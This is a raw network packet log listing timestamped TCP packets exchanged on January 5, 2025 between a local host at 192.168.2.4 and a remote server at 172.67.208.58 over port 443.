Jan 5, 2025 19:50:28.348890066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.348901987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355168104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355182886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355261087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355266094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355299950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355315924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355500937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355516911 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355572939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355580091 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355616093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355736971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355751991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355787992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355792999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.355823040 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.355844021 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.434753895 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.434771061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.434834003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.434842110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.434889078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.434978008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.434992075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435034037 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435039043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435067892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435075045 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435303926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435323954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435358047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435364008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435388088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435403109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435554981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435570002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435600996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435606003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.435630083 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.435648918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.441768885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.441783905 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.441833973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.441840887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.441881895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442047119 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442064047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442101002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442106962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442132950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442150116 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442326069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442346096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442384005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442389965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442416906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442430973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442648888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442662001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442717075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.442723989 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.442877054 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.521563053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.521579027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.521622896 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.521647930 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.521662951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.521859884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.521878958 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.521908998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.521917105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.521934986 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.521971941 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.522115946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.522130966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.522172928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.522178888 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.522205114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.522216082 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.522370100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.522392035 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.522420883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.522424936 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.522450924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.522470951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.528618097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.528633118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.528667927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.528677940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.528695107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.528714895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.528879881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.528898954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.528932095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.528937101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.528963089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.528983116 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.529175043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.529192924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.529221058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.529225111 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.529253006 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.529273033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.529441118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.529455900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.529495001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.529500961 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.529525042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.529536963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.608457088 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.608472109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.608515978 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.608531952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.608545065 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.608716011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.608733892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.608764887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.608771086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.608782053 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.608809948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.609034061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.609049082 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.609098911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.609106064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.609210968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.609327078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.609343052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.609399080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.609405041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.609611034 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.615525007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.615544081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.615602016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.615608931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.615641117 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.615662098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.615751982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.615767002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.615806103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.615812063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.615829945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.615854979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.615972996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.615988970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.616019011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.616023064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.616045952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.616060972 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.616282940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.616300106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.616342068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.616347075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.616374016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.616394997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.617311954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.695441008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.695457935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.695525885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.695538998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.695722103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.695729971 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.695744991 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.695806026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.695811987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.696114063 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.696131945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.696170092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.696177006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.696197987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.696227074 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.696434975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.696449995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.696491003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.696499109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.696538925 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.706338882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.706355095 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.706404924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.706412077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.706527948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.708559990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.708586931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.708643913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.708651066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.708823919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.708846092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.708877087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.708883047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.708899021 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.708931923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.709152937 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.709167957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.709202051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.709208012 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.709224939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.709261894 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.782291889 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.782308102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.782361984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.782368898 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.782422066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.782644033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.782658100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.782687902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.782692909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.782718897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.782737017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.783195019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.783210039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.783262968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.783267975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.783307076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.783443928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.783459902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.783492088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.783503056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.783515930 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.783535004 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.793292999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.793308973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.793380022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.793387890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.793632984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.795413017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.795429945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.795476913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.795483112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.795698881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.795717001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.795725107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.795731068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.795758963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.795784950 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.795958996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.795974016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.796005964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.796016932 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.796035051 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.796339035 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.869108915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.869126081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.869173050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.869184017 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.870093107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.870111942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.870131016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.870136976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.870162964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.870187044 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.870822906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.870840073 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.870886087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.870894909 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.871037006 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.871253967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.871272087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.871318102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.871323109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.871560097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888051987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888071060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888103962 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888109922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888148069 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888165951 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888317108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888331890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888375998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888381004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888406992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888418913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888559103 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888573885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888616085 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888622046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888647079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888662100 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888689995 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888711929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888750076 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888756990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.888776064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.888792038 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.955955029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.955975056 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.956027031 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.956038952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.956068993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.956079006 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.956886053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.956902027 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.956960917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.956967115 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.957199097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.957640886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.957658052 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.957701921 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.957711935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.957740068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.957756042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.958214998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.958230972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.958261967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.958267927 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.958295107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.958309889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975034952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975052118 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975116968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975122929 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975163937 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975177050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975193024 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975225925 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975231886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975243092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975265026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975449085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975470066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975503922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975511074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975537062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975555897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975701094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975716114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975752115 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975759029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:28.975776911 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:28.975800991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.042975903 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.042994022 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.043037891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.043045998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.043073893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.043087959 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:29.043870926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.043886900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:29.043931007 CET	49746	443	192.168.2.4	172.67.208.58
